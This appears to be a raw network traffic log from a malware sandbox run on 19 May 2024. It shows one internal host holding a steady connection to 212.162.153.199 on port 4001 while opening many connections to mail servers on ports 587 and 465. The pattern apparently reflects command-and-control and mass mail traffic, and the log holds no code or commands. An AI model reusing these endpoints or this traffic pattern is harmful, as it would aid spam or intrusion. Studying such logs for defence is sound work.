May 19, 2024 17:27:47.054404974 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.059293032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.068141937 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.073621988 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:47.073905945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.074212074 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:47.079356909 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.083592892 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:47.084249020 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:47.084291935 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:47.084485054 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:47.084533930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.099358082 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:47.103142023 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.103375912 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.114839077 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:47.127659082 CEST	587	49769	104.18.2.81	192.168.2.4
May 19, 2024 17:27:47.127921104 CEST	49769	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:47.127988100 CEST	49769	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:47.128190994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.132477999 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.132801056 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:47.132852077 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:47.132899046 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:47.133001089 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.133032084 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.133055925 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:47.133285046 CEST	49975	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.137463093 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:47.137701035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.142482996 CEST	587	49769	104.18.2.81	192.168.2.4
May 19, 2024 17:27:47.142534971 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.142565966 CEST	587	49908	194.152.32.10	192.168.2.4
May 19, 2024 17:27:47.142822027 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.146219969 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.147397995 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:47.147448063 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:47.147479057 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:47.147507906 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.147536993 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.147567034 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:47.147600889 CEST	587	49975	142.93.237.125	192.168.2.4
May 19, 2024 17:27:47.147672892 CEST	49975	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.147747040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.152436972 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.159493923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.159493923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.164927959 CEST	587	49770	194.153.145.104	192.168.2.4
May 19, 2024 17:27:47.165046930 CEST	49770	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:47.165111065 CEST	49770	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:47.165287971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.169943094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.174438000 CEST	587	49969	91.103.219.229	192.168.2.4
May 19, 2024 17:27:47.174540997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.179589987 CEST	587	49958	209.202.254.90	192.168.2.4
May 19, 2024 17:27:47.179622889 CEST	587	49770	194.153.145.104	192.168.2.4
May 19, 2024 17:27:47.179652929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.179665089 CEST	49958	587	192.168.2.4	209.202.254.90
May 19, 2024 17:27:47.179794073 CEST	49958	587	192.168.2.4	209.202.254.90
May 19, 2024 17:27:47.179910898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.192954063 CEST	49908	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:47.193020105 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:47.193608999 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:47.193867922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.198395967 CEST	587	49958	209.202.254.90	192.168.2.4
May 19, 2024 17:27:47.203136921 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.203401089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.203438997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.213612080 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.224232912 CEST	49969	587	192.168.2.4	91.103.219.229
May 19, 2024 17:27:47.227332115 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:47.227547884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.232203007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.232265949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.232335091 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:47.232409954 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:47.232686043 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:47.232727051 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:47.232748032 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:47.233187914 CEST	49976	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.236964941 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:47.237009048 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:47.237224102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.237224102 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.239841938 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:47.240061998 CEST	49855	465	192.168.2.4	104.21.63.171
May 19, 2024 17:27:47.240080118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.242090940 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:47.246789932 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:47.246820927 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:47.246851921 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:47.246881008 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:47.246916056 CEST	587	49976	142.93.237.125	192.168.2.4
May 19, 2024 17:27:47.247000933 CEST	49976	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.247076988 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.252146006 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.252258062 CEST	465	49855	104.21.63.171	192.168.2.4
May 19, 2024 17:27:47.252330065 CEST	49855	465	192.168.2.4	104.21.63.171
May 19, 2024 17:27:47.257014990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.258773088 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:47.258908033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.258908033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.261995077 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:47.262074947 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:47.262130022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.266817093 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:47.266850948 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:47.266908884 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:47.266942978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.266943932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.267008066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.271068096 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:47.271536112 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.276308060 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.276339054 CEST	587	49774	188.114.96.3	192.168.2.4
May 19, 2024 17:27:47.276395082 CEST	49774	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:47.276460886 CEST	49774	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:47.276524067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.281251907 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.286036015 CEST	587	49774	188.114.96.3	192.168.2.4
May 19, 2024 17:27:47.286700964 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.286708117 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:47.291879892 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:47.292150021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.301106930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.301182985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.305721045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.310561895 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.333899975 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:47.338927031 CEST	587	49911	185.137.168.190	192.168.2.4
May 19, 2024 17:27:47.338965893 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.339107990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.339204073 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:47.339633942 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:47.344239950 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:47.344393969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.348242998 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.348295927 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.348407030 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.348454952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.348454952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.349612951 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.349729061 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.349797964 CEST	49858	465	192.168.2.4	34.174.160.103
May 19, 2024 17:27:47.349823952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.349926949 CEST	49857	587	192.168.2.4	3.18.7.81
May 19, 2024 17:27:47.349947929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.350696087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.350696087 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.352955103 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.353401899 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.357829094 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:47.357858896 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:47.357887983 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:47.357918024 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.357944965 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.357976913 CEST	465	49858	34.174.160.103	192.168.2.4
May 19, 2024 17:27:47.358006001 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.358009100 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.358036995 CEST	587	49857	3.18.7.81	192.168.2.4
May 19, 2024 17:27:47.358042002 CEST	49858	465	192.168.2.4	34.174.160.103
May 19, 2024 17:27:47.358079910 CEST	49857	587	192.168.2.4	3.18.7.81
May 19, 2024 17:27:47.362900972 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.367896080 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.380613089 CEST	49911	587	192.168.2.4	185.137.168.190
May 19, 2024 17:27:47.396120071 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:47.396121025 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.396600008 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.411745071 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:47.428891897 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:47.429007053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.436399937 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:47.436717987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.440926075 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:47.440979958 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:47.440996885 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.441250086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.441267014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.441317081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.442329884 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.442981005 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:47.443049908 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:47.444348097 CEST	49977	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:47.447297096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.452512026 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:47.474220037 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:47.479509115 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:47.479566097 CEST	587	49977	117.50.20.113	192.168.2.4
May 19, 2024 17:27:47.479597092 CEST	587	49782	194.153.145.104	192.168.2.4
May 19, 2024 17:27:47.479938984 CEST	49977	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:47.479980946 CEST	49782	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:47.480031967 CEST	49782	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:47.480091095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.480144978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.480273962 CEST	49978	587	192.168.2.4	129.187.254.228
May 19, 2024 17:27:47.480356932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.480382919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.489845991 CEST	587	49781	104.22.65.144	192.168.2.4
May 19, 2024 17:27:47.489876032 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.489876986 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:47.489886045 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:47.489887953 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:47.489912987 CEST	49781	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:47.490372896 CEST	49781	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:47.490602016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.494868994 CEST	587	49782	194.153.145.104	192.168.2.4
May 19, 2024 17:27:47.499943018 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.500000000 CEST	587	49978	129.187.254.228	192.168.2.4
May 19, 2024 17:27:47.500030994 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.500072002 CEST	49978	587	192.168.2.4	129.187.254.228
May 19, 2024 17:27:47.500178099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.505366087 CEST	587	49781	104.22.65.144	192.168.2.4
May 19, 2024 17:27:47.505420923 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:47.505453110 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:47.505841017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.505918980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.510330915 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.515476942 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:47.515917063 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.518824100 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.518867970 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:47.519195080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.519195080 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.520318031 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:47.520421982 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:47.520467043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.520467997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.523237944 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:47.523272991 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:47.523417950 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:47.523473978 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.526148081 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:47.526256084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.531351089 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.531404972 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.531435013 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.536299944 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.536817074 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.537818909 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:47.537893057 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:47.537977934 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.537987947 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:47.538014889 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:47.538569927 CEST	49979	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:47.552369118 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:47.556386948 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:47.568020105 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:47.568454027 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:47.584480047 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.633151054 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:47.633193016 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:47.633243084 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.633271933 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:47.633327961 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:47.633363962 CEST	587	49979	104.18.2.81	192.168.2.4
May 19, 2024 17:27:47.633394957 CEST	587	49965	84.116.6.22	192.168.2.4
May 19, 2024 17:27:47.633424044 CEST	587	49965	84.116.6.22	192.168.2.4
May 19, 2024 17:27:47.633452892 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:47.633459091 CEST	49979	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:47.633624077 CEST	49965	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:47.633625031 CEST	49965	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:47.633670092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.633670092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.633670092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.633774996 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.638382912 CEST	587	49965	84.116.6.22	192.168.2.4
May 19, 2024 17:27:47.640404940 CEST	49965	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:47.643563986 CEST	587	49965	84.116.6.22	192.168.2.4
May 19, 2024 17:27:47.654104948 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.654200077 CEST	587	49973	92.42.36.37	192.168.2.4
May 19, 2024 17:27:47.654231071 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:47.654259920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.654536963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.654537916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.654931068 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:47.654968977 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:47.655005932 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.655059099 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:47.655217886 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:47.655286074 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.655286074 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.655299902 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:47.659061909 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:47.659120083 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:47.659326077 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:47.659444094 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.664666891 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:47.664719105 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.664798975 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:47.664828062 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:47.664856911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.677381039 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:47.682629108 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:47.682678938 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.682708979 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.708483934 CEST	49973	587	192.168.2.4	92.42.36.37
May 19, 2024 17:27:47.708484888 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:47.714142084 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:47.719639063 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:47.734519005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.734858990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.735788107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.735862017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.737588882 CEST	49980	587	192.168.2.4	82.98.132.37
May 19, 2024 17:27:47.744944096 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:47.750092983 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.755422115 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:47.760859013 CEST	587	49980	82.98.132.37	192.168.2.4
May 19, 2024 17:27:47.760891914 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.760957003 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.760957956 CEST	49980	587	192.168.2.4	82.98.132.37
May 19, 2024 17:27:47.760987043 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:47.767009020 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:47.768196106 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.771181107 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:47.772407055 CEST	587	49790	40.85.218.2	192.168.2.4
May 19, 2024 17:27:47.772512913 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:47.772684097 CEST	49790	587	192.168.2.4	40.85.218.2
May 19, 2024 17:27:47.773807049 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:47.776541948 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:47.776603937 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:47.776750088 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:47.776751041 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:47.779504061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.779575109 CEST	49790	587	192.168.2.4	40.85.218.2
May 19, 2024 17:27:47.783373117 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.783657074 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:47.783818960 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:47.783889055 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:47.787544012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.787616014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.795573950 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.796714067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.797214985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.797797918 CEST	49981	587	192.168.2.4	141.85.160.41
May 19, 2024 17:27:47.798887014 CEST	49982	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.799180984 CEST	49983	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:47.800493956 CEST	587	49790	40.85.218.2	192.168.2.4
May 19, 2024 17:27:47.802308083 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:47.802314043 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:47.805249929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.805280924 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:47.805310011 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:47.805341005 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:47.805368900 CEST	4001	49734	212.162.153.199	192.168.2.4
